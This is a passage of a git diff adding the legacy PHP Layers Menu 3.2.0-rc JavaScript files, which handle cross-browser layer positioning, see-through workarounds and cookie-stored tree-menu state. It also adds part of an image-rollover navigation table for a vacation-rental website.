+                       document.getElementById(layer).style.visibility = 'hidden';
+               } else if (NS4) {
+                       document.layers[layer].visibility = 'hide';
+               } else {
+                       document.all[layer].style.visibility = 'hidden';
+               }
+       }
+}
+
+function isVisible(layer)
+{
+       if (DOM) {
+               return (document.getElementById(layer).style.visibility == 'visible');
+       } else if (NS4) {
+               return (document.layers[layer].visibility == 'show');
+       } else {
+               return (document.all[layer].style.visibility == 'visible');
+       }
+}
+
+function setLeft(layer, x)
+{
+layerLeft[layer] = x;
+       if (DOM && !Opera5) {
+               document.getElementById(layer).style.left = x + 'px';
+       } else if (Opera5) {
+               document.getElementById(layer).style.left = x;
+       } else if (NS4) {
+               document.layers[layer].left = x;
+       } else {
+               document.all[layer].style.pixelLeft = x;
+       }
+}
+
+function getOffsetLeft(layer)
+{
+       var value = 0;
+       if (DOM) {      // Mozilla, Konqueror >= 2.2, Opera >= 5, IE
+               object = document.getElementById(layer);
+               value = object.offsetLeft;
+//alert (object.tagName + ' --- ' + object.offsetLeft);
+               while (object.tagName != 'BODY' && object.offsetParent) {
+                       object = object.offsetParent;
+//alert (object.tagName + ' --- ' + object.offsetLeft);
+                       value += object.offsetLeft;
+               }
+       } else if (NS4) {
+               value = document.layers[layer].pageX;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all['IE4' + layer]) {
+                       layer = 'IE4' + layer;
+               }
+               object = document.all[layer];
+               value = object.offsetLeft;
+               while (object.tagName != 'BODY') {
+                       object = object.offsetParent;
+                       value += object.offsetLeft;
+               }
+       }
+       return (value);
+}
+
+function setTop(layer, y)
+{
+layerTop[layer] = y;
+       if (DOM && !Opera5) {
+               document.getElementById(layer).style.top = y + 'px';
+       } else if (Opera5) {
+               document.getElementById(layer).style.top = y;
+       } else if (NS4) {
+               document.layers[layer].top = y;
+       } else {
+               document.all[layer].style.pixelTop = y;
+       }
+}
+
+function getOffsetTop(layer)
+{
+// IE 5.5 and 6.0 behaviour with this function is really strange:
+// in some cases, they return a really too large value...
+// ... after all, IE is buggy, nothing new
+       var value = 0;
+       if (DOM) {
+               object = document.getElementById(layer);
+               value = object.offsetTop;
+               while (object.tagName != 'BODY' && object.offsetParent) {
+                       object = object.offsetParent;
+                       value += object.offsetTop;
+               }
+       } else if (NS4) {
+               value = document.layers[layer].pageY;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all['IE4' + layer]) {
+                       layer = 'IE4' + layer;
+               }
+               object = document.all[layer];
+               value = object.offsetTop;
+               while (object.tagName != 'BODY') {
+                       object = object.offsetParent;
+                       value += object.offsetTop;
+               }
+       }
+       return (value);
+}
+
+function setWidth(layer, w)
+{
+       if (DOM) {
+               document.getElementById(layer).style.width = w;
+       } else if (NS4) {
+//             document.layers[layer].width = w;
+       } else {
+               document.all[layer].style.pixelWidth = w;
+       }
+}
+
+function getOffsetWidth(layer)
+{
+       var value = 0;
+       if (DOM && !Opera56) {
+               value = document.getElementById(layer).offsetWidth;
+       } else if (NS4) {
+               value = document.layers[layer].document.width;
+       } else if (Opera56) {
+               value = document.getElementById(layer).style.pixelWidth;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all['IE4' + layer]) {
+                       layer = 'IE4' + layer;
+               }
+               value = document.all[layer].offsetWidth;
+       }
+       return (value);
+}
+
+function setHeight(layer, h)   // unused, not tested
+{
+       if (DOM) {
+               document.getElementById(layer).style.height = h;
+       } else if (NS4) {
+//             document.layers[layer].height = h;
+       } else {
+               document.all[layer].style.pixelHeight = h;
+       }
+}
+
+function getOffsetHeight(layer)
+{
+       var value = 0;
+       if (DOM && !Opera56) {
+               value = document.getElementById(layer).offsetHeight;
+       } else if (NS4) {
+               value = document.layers[layer].document.height;
+       } else if (Opera56) {
+               value = document.getElementById(layer).style.pixelHeight;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all['IE4' + layer]) {
+                       layer = 'IE4' + layer;
+               }
+               value = document.all[layer].offsetHeight;
+       }
+       return (value);
+}
+
+function getWindowWidth()
+{
+       var value = 0;
+       if ((DOM && !IE) || NS4 || Konqueror || Opera) {
+               value = window.innerWidth;
+//     } else if (NS4) {
+//             value = document.width;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.clientWidth) {
+                       value = document.documentElement.clientWidth;
+               } else if (document.body) {
+                       value = document.body.clientWidth;
+               }
+       }
+       if (isNaN(value)) {
+               value = window.innerWidth;
+       }
+       return (value);
+}
+
+function getWindowXOffset()
+{
+       var value = 0;
+       if ((DOM && !IE) || NS4 || Konqueror || Opera) {
+               value = window.pageXOffset;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.scrollLeft) {
+                       value = document.documentElement.scrollLeft;
+               } else if (document.body) {
+                       value = document.body.scrollLeft;
+               }
+       }
+       return (value);
+}
+
+function getWindowHeight()
+{
+       var value = 0;
+       if ((DOM && !IE) || NS4 || Konqueror || Opera) {
+               value = window.innerHeight;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.clientHeight) {
+                       value = document.documentElement.clientHeight;
+               } else if (document.body) {
+                       value = document.body.clientHeight;
+               }
+       }
+       if (isNaN(value)) {
+               value = window.innerHeight;
+       }
+       return (value);
+}
+
+function getWindowYOffset()
+{
+       var value = 0;
+       if ((DOM && !IE) || NS4 || Konqueror || Opera) {
+               value = window.pageYOffset;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.scrollTop) {
+                       value = document.documentElement.scrollTop;
+               } else if (document.body) {
+                       value = document.body.scrollTop;
+               }
+       }
+       return (value);
+}
+
diff --git a/libjs/layersmenu-see-through.js b/libjs/layersmenu-see-through.js
new file mode 100755 (executable)
index 0000000..7ca9455
--- /dev/null
@@ -0,0 +1,65 @@
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+function scanChildren(element)
+{
+       var counter = element.childNodes.length;
+        for (var i=0; i<counter; i++) {
+                foobar = element.childNodes.item(i);
+               if (    ( (Konqueror22 || Konqueror30 || Konqueror31) &&
+                        (  foobar.nodeName == 'INPUT' || foobar.nodeName == 'input'
+                        || foobar.nodeName == 'SELECT' || foobar.nodeName == 'select'
+                        || foobar.nodeName == 'TEXTAREA' || foobar.nodeName == 'textarea'
+                        )
+                       )
+                       ||
+// Konqueror 3.2 and 3.3 need hiding only for the following two form elements, but, alas,
+// at the time of this writing (Konqueror 3.2.3 and 3.3.0-rc2), hiding of such two form elements
+// on Konqueror 3.2 and 3.3 does not work, it is affected by the following bug: http://bugs.kde.org/72885
+                       ( (Konqueror32 || Konqueror33) &&
+                        (  ((foobar.nodeName == 'SELECT' || foobar.nodeName == 'select') && foobar.size > 1)
+                        || foobar.nodeName == 'TEXTAREA' || foobar.nodeName == 'textarea'
+                        )
+                       )
+                       ||
+                       ( IE &&
+                        ( foobar.nodeName == 'SELECT' || foobar.nodeName == 'select' )
+                       )
+               ) {
+                       toBeHidden[toBeHidden.length] = foobar;
+               }
+                if (foobar.childNodes.length > 0) {
+                        scanChildren(foobar);
+                }
+        }
+}
+
+function seeThroughCoordinatesDetection()
+{
+       if (!((Konqueror && !Konqueror22) || IE5)) {
+               return;
+       }
+       for (i=0; i<toBeHidden.length; i++) {
+               object = toBeHidden[i];
+               toBeHiddenLeft[i] = object.offsetLeft;
+               while (object.tagName != 'BODY' && object.offsetParent) {
+                       object = object.offsetParent;
+                       toBeHiddenLeft[i] += object.offsetLeft;
+               }
+               object = toBeHidden[i];
+               toBeHiddenTop[i] = object.offsetTop;
+               while (object.tagName != 'BODY' && object.offsetParent) {
+                       object = object.offsetParent;
+                       toBeHiddenTop[i] += object.offsetTop;
+               }
+       }
+}
+
+//document.write("<br />\nSCANNING STARTED<br />\n");
+//scanChildren(document.getElementsByTagName('BODY').item(0));
+if ((Konqueror || IE5) && document.getElementById('phplmseethrough')) {
+       scanChildren(document.getElementById('phplmseethrough'));
+}
+//document.write("<br />\nSCANNING COMPLETED<br />\n");
+
+seeThroughCoordinatesDetection();
+
diff --git a/libjs/layersmenu.js b/libjs/layersmenu.js
new file mode 100755 (executable)
index 0000000..5d29e5b
--- /dev/null
@@ -0,0 +1,316 @@
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+useTimeouts = 1;
+timeoutLength = 1000;  // time in ms; not significant if useTimeouts = 0;
+shutdownOnClick = 0;
+
+loaded = 0;
+layersMoved = 0;
+layerPoppedUp = '';
+
+timeoutFlag = 0;
+if (Opera56 || IE4) {
+       useTimeouts = 0;
+}
+if (NS4 || Opera56 || IE4) {
+       shutdownOnClick = 1;
+}
+
+currentY = 0;
+function grabMouse(e)  // for NS4
+{
+       currentY = e.pageY;
+}
+if (NS4) {
+       document.captureEvents(Event.MOUSEDOWN | Event.MOUSEMOVE);
+       document.onmousemove = grabMouse;
+}
+
+function seeThroughElements(show)
+{
+       if (show) {
+               foobar = 'visible';
+       } else {
+               foobar = 'hidden';
+       }
+       for (i=0; i<toBeHidden.length; i++) {
+               toBeHidden[i].style.visibility = foobar;
+       }
+}
+
+function shutdown()
+{
+       for (i=0; i<numl; i++) {
+               LMPopUpL(listl[i], false);
+       }
+       layerPoppedUp = '';
+       if (Konqueror || IE5) {
+               seeThroughElements(true);
+       }
+}
+if (shutdownOnClick) {
+       if (NS4) {
+               document.onmousedown = shutdown;
+       } else {
+               document.onclick = shutdown;
+       }
+}
+
+function setLMTO()
+{
+       if (useTimeouts) {
+               timeoutFlag = setTimeout('shutdown()', timeoutLength);
+       }
+}
+
+function clearLMTO()
+{
+       if (useTimeouts) {
+               clearTimeout(timeoutFlag);
+       }
+}
+
+function moveLayerX(menuName)
+{
+       if (!loaded || (isVisible(menuName) && menuName != layerPoppedUp)) {
+               return;
+       }
+       if (father[menuName] != '') {
+               if (!Opera5 && !IE4) {
+                       width0 = lwidth[father[menuName]];
+                       width1 = lwidth[menuName];
+               } else if (Opera5) {
+                       // Opera 5 stupidly and exaggeratedly overestimates layers widths
+                       // hence we consider a default value equal to $abscissaStep
+                       width0 = abscissaStep;
+                       width1 = abscissaStep;
+               } else if (IE4) {
+                       width0 = getOffsetWidth(father[menuName]);
+                       width1 = getOffsetWidth(menuName);
+               }
+               onLeft = getOffsetLeft(father[menuName]) - width1 + menuLeftShift;
+               onRight = getOffsetLeft(father[menuName]) + width0 - menuRightShift;
+               windowWidth = getWindowWidth();
+               windowXOffset = getWindowXOffset();
+//             if (NS4 && !DOM) {
+//                     windowXOffset = 0;
+//             }
+               if (onLeft < windowXOffset && onRight + width1 > windowWidth + windowXOffset) {
+                       if (onRight + width1 - windowWidth - windowXOffset > windowXOffset - onLeft) {
+                               onLeft = windowXOffset;
+                       } else {
+                               onRight = windowWidth + windowXOffset - width1;
+                       }
+               }
+               if (back[father[menuName]]) {
+                       if (onLeft < windowXOffset) {
+                               back[menuName] = 0;
+                       } else {
+                               back[menuName] = 1;
+                       }
+               } else {
+//alert(onRight + ' - ' + width1 + ' - ' +  windowWidth + ' - ' + windowXOffset);
+                       if (onRight + width1 > windowWidth + windowXOffset) {
+                               back[menuName] = 1;
+                       } else {
+                               back[menuName] = 0;
+                       }
+               }
+               if (back[menuName]) {
+                       setLeft(menuName, onLeft);
+               } else {
+                       setLeft(menuName, onRight);
+               }
+       }
+       moveLayerY(menuName);   // workaround needed for Mozilla < 1.4 for MS Windows
+}
+
+function moveLayerY(menuName)
+{
+       if (!loaded || (isVisible(menuName) && menuName != layerPoppedUp)) {
+               return;
+       }
+       if (!layersMoved) {
+               moveLayers();
+               layersMoved = 1;
+       }
+       if (!NS4) {
+               newY = getOffsetTop('ref' + menuName);
+       } else {
+               newY = currentY;
+       }
+       newY += menuTopShift;
+       layerHeight = getOffsetHeight(menuName);
+       windowHeight = getWindowHeight();
+       windowYOffset = getWindowYOffset();
+       if (newY + layerHeight > windowHeight + windowYOffset) {
+               if (layerHeight > windowHeight) {
+                       newY = windowYOffset;
+               } else {
+                       newY = windowHeight + windowYOffset - layerHeight;
+               }
+       }
+       if (Math.abs(getOffsetTop(menuName) - newY) > thresholdY) {
+               setTop(menuName, newY);
+       }
+}
+
+function moveLayerX1(menuName, father)
+{
+       if (!lwidthDetected) {
+               return;
+       }
+       if (!Opera5 && !IE4) {
+               width1 = lwidth[menuName];
+       } else if (Opera5) {
+               // Opera 5 stupidly and exaggeratedly overestimates layers widths
+               // hence we consider a default value equal to $abscissaStep
+               width1 = abscissaStep;
+       }
+       foobar = getOffsetLeft(father + menuName);
+if (!IE4) {
+       windowWidth = getWindowWidth();
+       windowXOffset = getWindowXOffset();
+       if (foobar + width1 > windowWidth + windowXOffset) {
+               foobar = windowWidth + windowXOffset - width1;
+       }
+       if (foobar < windowXOffset) {
+               foobar = windowXOffset;
+       }
+}
+       setLeft(menuName, foobar);
+}
+
+function layersOverlap(layer, i)
+{
+       if (Konqueror22) {
+               return true;
+       }
+
+//     xa1 = getOffsetLeft(layer);
+//setLeft(layer, xa1);
+       xa1 = layerLeft[layer];
+       xa2 = xa1 + getOffsetWidth(layer);
+//setWidth(layer, xa2-xa1);
+//     ya1 = getOffsetTop(layer);
+//setTop(layer, ya1);
+       ya1 = layerTop[layer];
+       ya2 = ya1 + getOffsetHeight(layer);
+//setHeight(layer, ya2-ya1);
+//alert(':' + xa1 + ':' + xa2 + ':' + ya1 + ':' + ya2 + ':');
+
+       xb1 = toBeHiddenLeft[i];
+       xb2 = xb1 + toBeHidden[i].offsetWidth;
+       yb1 = toBeHiddenTop[i];
+       yb2 = yb1 + toBeHidden[i].offsetHeight;
+//alert(':' + xb1 + ':' + xb2 + ':' + yb1 + ':' + yb2 + ':');
+
+       if(xb1>xa1) xa1=xb1; if(xb2<xa2) xa2=xb2;
+       if(yb1>ya1) ya1=yb1; if(yb2<ya2) ya2=yb2;
+
+       return (xa2>xa1 && ya2>ya1);
+}
+
+function seeThroughWorkaround(menuName, on)
+{
+       for (i=0; i<toBeHidden.length; i++) {
+               if (layersOverlap(menuName, i)) {
+                       if (on) {
+                               toBeHidden[i].style.visibility = 'hidden';
+                       } else {
+                               toBeHidden[i].style.visibility = 'visible';
+                       }
+               }
+       }
+}
+
+function LMPopUpL(menuName, on)
+{
+       if (!loaded) {
+               return;
+       }
+       if (!layersMoved) {
+               moveLayers();
+               layersMoved = 1;
+       }
+       setVisibility(menuName, on);
+}
+
+function LMPopUp(menuName, isCurrent)
+{
+       if (!loaded || menuName == layerPoppedUp || (isVisible(menuName) && !isCurrent)) {
+               return;
+       }
+       if (menuName == father[layerPoppedUp]) {
+               LMPopUpL(layerPoppedUp, false);
+//             seeThroughWorkaround(menuName, false);
+       } else if (father[menuName] == layerPoppedUp) {
+               LMPopUpL(menuName, true);
+               seeThroughWorkaround(menuName, true);
+       } else {
+               shutdown();
+               foobar = menuName;
+               do {
+                       LMPopUpL(foobar, true);
+                       seeThroughWorkaround(foobar, true);
+                       foobar = father[foobar];
+               } while (foobar != '')
+       }
+/*
+       if (layerPoppedUp == '') {
+               seeThroughElements(false);
+       }
+*/
+       layerPoppedUp = menuName;
+}
+
+function resizeHandler()
+{
+       if (NS4) {
+               window.location.reload();
+       }
+       shutdown();
+       for (i=0; i<numl; i++) {
+               setLeft(listl[i], 0);
+               setTop(listl[i], 0);
+       }
+       if (toBeHidden != null && toBeHidden.length > 0) {
+               seeThroughCoordinatesDetection();
+       }
+//     moveLayers();
+       layersMoved = 0;
+}
+window.onresize = resizeHandler;
+
+function yaresizeHandler()
+{
+       if (window.innerWidth != origWidth || window.innerHeight != origHeight) {
+               if (Konqueror22 || Opera5) {
+                       window.location.reload();       // Opera 5 often fails this
+               }
+               origWidth  = window.innerWidth;
+               origHeight = window.innerHeight;
+               resizeHandler();
+       }
+       setTimeout('yaresizeHandler()', 500);
+}
+function loadHandler()
+{
+       if (Konqueror22 || Opera56) {
+               origWidth  = window.innerWidth;
+               origHeight = window.innerHeight;
+               yaresizeHandler();
+       }
+}
+window.onload = loadHandler;
+
+function fixieflm(menuName)
+{
+       if (DOM) {
+               setWidth(menuName, '100%');
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               document.write('</div>');
+               document.write('<div id="IE4' + menuName + '" style="position: relative; width: 100%; visibility: visible;">');
+       }
+}
+
diff --git a/libjs/layerstreemenu-cookies.js b/libjs/layerstreemenu-cookies.js
new file mode 100755 (executable)
index 0000000..ea36afc
--- /dev/null
@@ -0,0 +1,70 @@
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+function setLMCookie(name, value)
+{
+       document.cookie = name + '=' + value + ';path=/';
+}
+
+function getLMCookie(name)
+{
+       foobar = document.cookie.split(name + '=');
+       if (foobar.length < 2) {
+               return null;
+       }
+       tempString = foobar[1];
+       if (tempString.indexOf(';') == -1) {
+               return tempString;
+       }
+       yafoobar = tempString.split(';');
+       return yafoobar[0];
+}
+
+function parseExpandString()
+{
+       expandString = getLMCookie('phplm_expand');
+       phplm_expand = new Array();
+       if (expandString) {
+               expanded = expandString.split('|');
+               for (i=0; i<expanded.length-1; i++) {
+                       phplm_expand[expanded[i]] = 1;
+               }
+       }
+}
+
+function parseCollapseString()
+{
+       collapseString = getLMCookie('phplm_collapse');
+       phplm_collapse = new Array();
+       if (collapseString) {
+               collapsed = collapseString.split('|');
+               for (i=0; i<collapsed.length-1; i++) {
+                       phplm_collapse[collapsed[i]] = 1;
+               }
+       }
+}
+
+parseExpandString();
+parseCollapseString();
+
+function saveExpandString()
+{
+       expandString = '';
+       for (i=0; i<phplm_expand.length; i++) {
+               if (phplm_expand[i] == 1) {
+                       expandString += i + '|';
+               }
+       }
+       setLMCookie('phplm_expand', expandString);
+}
+
+function saveCollapseString()
+{
+       collapseString = '';
+       for (i=0; i<phplm_collapse.length; i++) {
+               if (phplm_collapse[i] == 1) {
+                       collapseString += i + '|';
+               }
+       }
+       setLMCookie('phplm_collapse', collapseString);
+}
+
diff --git a/libjs/layerstreemenu.ijs b/libjs/layerstreemenu.ijs
new file mode 100755 (executable)
index 0000000..5274271
--- /dev/null
@@ -0,0 +1,52 @@
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+function {toggle_function_name}(nodeid)
+{
+       if ((!DOM || Opera56 || Konqueror22) && !IE4) {
+               return;
+       }
+       layersMoved = 0;
+       parseExpandString();
+       parseCollapseString();
+       if (!IE4) {
+               sonLayer = document.getElementById('jt' + nodeid + 'son');
+               nodeLayer = document.getElementById('jt' + nodeid + 'node');
+               folderLayer = document.getElementById('jt' + nodeid + 'folder');
+       } else {
+               sonLayer = document.all('jt' + nodeid + 'son');
+               nodeLayer = document.all('jt' + nodeid + 'node');
+               folderLayer = document.all('jt' + nodeid + 'folder');
+       }
+       if (sonLayer.style.display == 'none') {
+               sonLayer.style.display = 'block';
+               if (nodeLayer.src.indexOf('{img_expand}') > -1) {
+                       nodeLayer.src = '{img_collapse}';
+               } else if (nodeLayer.src.indexOf('{img_expand_first}') > -1) {
+                       nodeLayer.src = '{img_collapse_first}';
+               } else if (nodeLayer.src.indexOf('{img_expand_corner}') > -1) {
+                       nodeLayer.src = '{img_collapse_corner}';
+               } else {
+                       nodeLayer.src = '{img_collapse_corner_first}';
+               }
+               folderLayer.src = '{img_folder_open}';
+               phplm_expand[nodeid] = 1;
+               phplm_collapse[nodeid] = 0;
+       } else {
+               sonLayer.style.display = 'none';
+               if (nodeLayer.src.indexOf('{img_collapse}') > -1) {
+                       nodeLayer.src = '{img_expand}';
+               } else if (nodeLayer.src.indexOf('{img_collapse_first}') > -1) {
+                       nodeLayer.src = '{img_expand_first}';
+               } else if (nodeLayer.src.indexOf('{img_collapse_corner}') > -1) {
+                       nodeLayer.src = '{img_expand_corner}';
+               } else {
+                       nodeLayer.src = '{img_expand_corner_first}';
+               }
+               folderLayer.src = '{img_folder_closed}';
+               phplm_expand[nodeid] = 0;
+               phplm_collapse[nodeid] = 1;
+       }
+       saveExpandString();
+       saveCollapseString();
+}
+
diff --git a/navTable.html b/navTable.html
new file mode 100755 (executable)
index 0000000..03d9a34
--- /dev/null
@@ -0,0 +1,227 @@
+<TABLE WIDTH=180 BORDER=0 CELLPADDING=0 CELLSPACING=0 id="nav-table">
+       <TR>
+               <TD COLSPAN=16>
+                       <IMG NAME="oct09_01" SRC="http://www.pineconevacations.com/images/oct09_01.gif" WIDTH=180 HEIGHT=7 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=2 ROWSPAN=12>
+                       <IMG NAME="oct09_02" SRC="http://www.pineconevacations.com/images/oct09_02.gif" WIDTH=27 HEIGHT=221 ALT=""></TD>
+               <TD COLSPAN=10>
+                       <a ONMOUSEOVER="changeImages('oct09_01', 'http://www.pineconevacations.com/images/oct09_01-oct09_Vacation-Ren.gif', 
+'oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Vacation-Ren.gif', 'oct09_Vacation_Rentals_______Lodging_copy', 
+'http://www.pineconevacations.com/images/oct09_Vacation-Rentals---13.gif'); return true;" ONMOUSEOUT="changeImages('oct09_01', 
+'http://www.pineconevacations.com/images/oct09_01.gif', 'oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_Vacation_Rentals_______Lodging_copy', 
+'http://www.pineconevacations.com/images/oct09_Vacation-Rentals-----.gif'); return true;" href="http://www.pineconevacations.com/vacationr.htm">
+                               <IMG NAME="oct09_Vacation_Rentals_______Lodging_copy" 
+SRC="http://www.pineconevacations.com/images/oct09_Vacation-Rentals-----.gif" WIDTH=112 HEIGHT=45 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=4 ROWSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_04.gif" WIDTH=41 HEIGHT=86 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=10>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_05.gif" WIDTH=112 HEIGHT=15 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=6>
+                       <IMG NAME="oct09_06" SRC="http://www.pineconevacations.com/images/oct09_06.gif" WIDTH=1 HEIGHT=111 ALT=""></TD>
+               <TD COLSPAN=6>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_View-All-Ren.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_View-All-Ren.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif'); return true;" href="http://www.pineconevacations.com/vacationrentals.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_View-All-Rentals.gif" WIDTH=98 HEIGHT=13 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=3 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_08.gif" WIDTH=13 HEIGHT=26 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=6>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_09.gif" WIDTH=98 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=11>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_RentalRatesa.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_RentalRatesa.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif'); return true;" href="http://www.pineconevacations.com/rentalrates.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_RentalRatesanddetails.gif" WIDTH=135 HEIGHT=13 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=2 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_11.gif" WIDTH=17 HEIGHT=26 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=11>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_12.gif" WIDTH=135 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_13.gif" WIDTH=1 HEIGHT=59 ALT=""></TD>
+               <TD COLSPAN=11>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Golf-%26-Lodgi.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_Golf-%26-Lodgi.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif'); return true;" href="http://www.pineconevacations.com/golf.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Golf-%26-Lodging-Packag.gif" WIDTH=141 HEIGHT=45 BORDER=0 ALT=""></a></TD>
+               <TD ROWSPAN=18>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_15.gif" WIDTH=10 HEIGHT=259 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=11>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_16.gif" WIDTH=141 HEIGHT=14 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=6>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_LetsTalkGolf.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_LetsTalkGolf.gif', 'oct09_LetsTalkGolf_copy', 'http://www.pineconevacations.com/images/oct09_LetsTalkGolf-copy-ove.gif'); 
+return true;" ONMOUSEOUT="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif', 
+'oct09_LetsTalkGolf_copy', 'http://www.pineconevacations.com/images/oct09_LetsTalkGolf-copy.gif'); return true;" href="http://www.pineconevacations.com/letstalkgolf.htm">
+                               <IMG NAME="oct09_LetsTalkGolf_copy" SRC="http://www.pineconevacations.com/images/oct09_LetsTalkGolf-copy.gif" WIDTH=93 HEIGHT=15 BORDER=0 
+ALT=""></a></TD>
+               <TD COLSPAN=7 ROWSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_18.gif" WIDTH=53 HEIGHT=50 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=6>
+                       <IMG NAME="oct09_19" SRC="http://www.pineconevacations.com/images/oct09_19.gif" WIDTH=90 HEIGHT=12 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=2>
+                       <IMG NAME="oct09_20" SRC="http://www.pineconevacations.com/images/oct09_20.gif" WIDTH=1 HEIGHT=24 ALT=""></TD>
+               <TD COLSPAN=4>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Winter-Speci.gif', 'oct09_19', 
+'http://www.pineconevacations.com/images/oct09_19-oct09_Winter-Speci.gif', 'oct09_20', 'http://www.pineconevacations.com/images/oct09_20-oct09_Winter-Speci.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_19', 'http://www.pineconevacations.com/images/oct09_19.gif', 'oct09_20', 
+'http://www.pineconevacations.com/images/oct09_20.gif'); return true;" href="http://www.pineconevacations.com/Snowmobiling.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Winter-Specials.gif" WIDTH=88 HEIGHT=14 BORDER=0 ALT=""></a></TD>
+               <TD ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_22.gif" WIDTH=1 HEIGHT=24 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_23.gif" WIDTH=88 HEIGHT=10 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=12>
+                       <IMG NAME="oct09_24" SRC="http://www.pineconevacations.com/images/oct09_24.gif" WIDTH=26 HEIGHT=150 ALT=""></TD>
+               <TD COLSPAN=9>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Area-Informa.gif', 'oct09_24', 
+'http://www.pineconevacations.com/images/oct09_24-oct09_Area-Informa.gif', 'oct09_Area_Information_copy', 
+'http://www.pineconevacations.com/images/oct09_Area-Information-c-49.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_Area_Information_copy', 
+'http://www.pineconevacations.com/images/oct09_Area-Information-copy.gif'); return true;" href="http://www.pineconevacations.com/areaofinformation.htm">
+                               <IMG NAME="oct09_Area_Information_copy" SRC="http://www.pineconevacations.com/images/oct09_Area-Information-copy.gif" WIDTH=101 HEIGHT=14 
+BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=5 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_26.gif" WIDTH=43 HEIGHT=25 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=9>
+                       <IMG NAME="oct09_27" SRC="http://www.pineconevacations.com/images/oct09_27.gif" WIDTH=101 HEIGHT=11 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=10>
